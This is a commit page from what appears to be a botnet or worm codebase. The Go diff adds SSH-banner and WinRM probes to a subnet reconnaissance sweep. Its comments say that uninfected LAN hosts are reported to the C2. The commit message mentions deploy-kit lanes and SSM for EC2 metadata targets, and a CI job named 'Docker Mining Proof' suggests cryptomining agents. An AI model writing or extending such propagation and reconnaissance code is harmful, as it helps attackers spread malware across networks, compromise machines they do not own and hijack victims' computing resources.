Add recon network batch 1: stack banners and smart port profiles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Parse technology stack from crawl headers, grab SSH/HTTP/WinRM banners, merge smart port bundles with FleetPorts, and suggest deploy-kit lane plus SSM for EC2 metadata targets.
This commit is contained in:
AetherForge
2026-06-07 12:04:04 -07:00
parent 6122c3ebfc
commit 11c15cdcfb
21 changed files with 3314 additions and 51 deletions

View File

@@ -22,7 +22,7 @@ const (
// SubnetReconPorts are probed on each LAN candidate during subnet recon sweeps.
var SubnetReconPorts = []int{22, 80, 443, 445, 3389, 5985, 5986, 8080, 6262}
var subnetReconWebPorts = []int{80, 443, 8080}
var subnetReconWebPorts = []int{80, 443, 6262, 8080}
// SubnetReconHost is one uninfected LAN host observation reported to the C2.
type SubnetReconHost struct {
@@ -31,6 +31,8 @@ type SubnetReconHost struct {
LastSeen string `json:"last_seen"`
ReporterAgentID string `json:"reporter_agent_id"`
HTTPTitle string `json:"http_title,omitempty"`
SSHBanner string `json:"ssh_banner,omitempty"`
WinRMHint string `json:"winrm_hint,omitempty"`
Status string `json:"status"`
}
@@ -123,6 +125,8 @@ func runSubnetReconTargets(reporterAgentID string, fleetIPs []string, targets []
if title := probeHTTPTitle(host, open); title != "" {
entry.HTTPTitle = title
}
if b:=probeSSHBanner(host,open);b!=""{entry.SSHBanner=b}
if h:=probeWinRMHint(host,open);h!=""{entry.WinRMHint=h}
out = append(out, entry)
}
return out
@@ -147,6 +151,25 @@ func buildSubnetReconSkipSet(fleetIPs []string) map[string]bool {
return skip
}
func probeSSHBanner(host string, openPorts []int) string {
for _, p := range openPorts { if p == 22 {
c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"22"), 2*time.Second)
if err != nil { return "" }
defer c.Close()
b := make([]byte, 256); n, _ := c.Read(b)
return strings.TrimSpace(string(b[:n]))
}}
return ""
}
func probeWinRMHint(host string, openPorts []int) string {
for _, p := range openPorts { if p == 5985 {
c, err := net.DialTimeout("tcp", net.JoinHostPort(host,"5985"), 2*time.Second)
if err == nil { _ = c.Close(); return "winrm_listening" }
}}
return ""
}
func probeHTTPTitle(host string, openPorts []int) string {
open := make(map[int]bool, len(openPorts))
for _, p := range openPorts {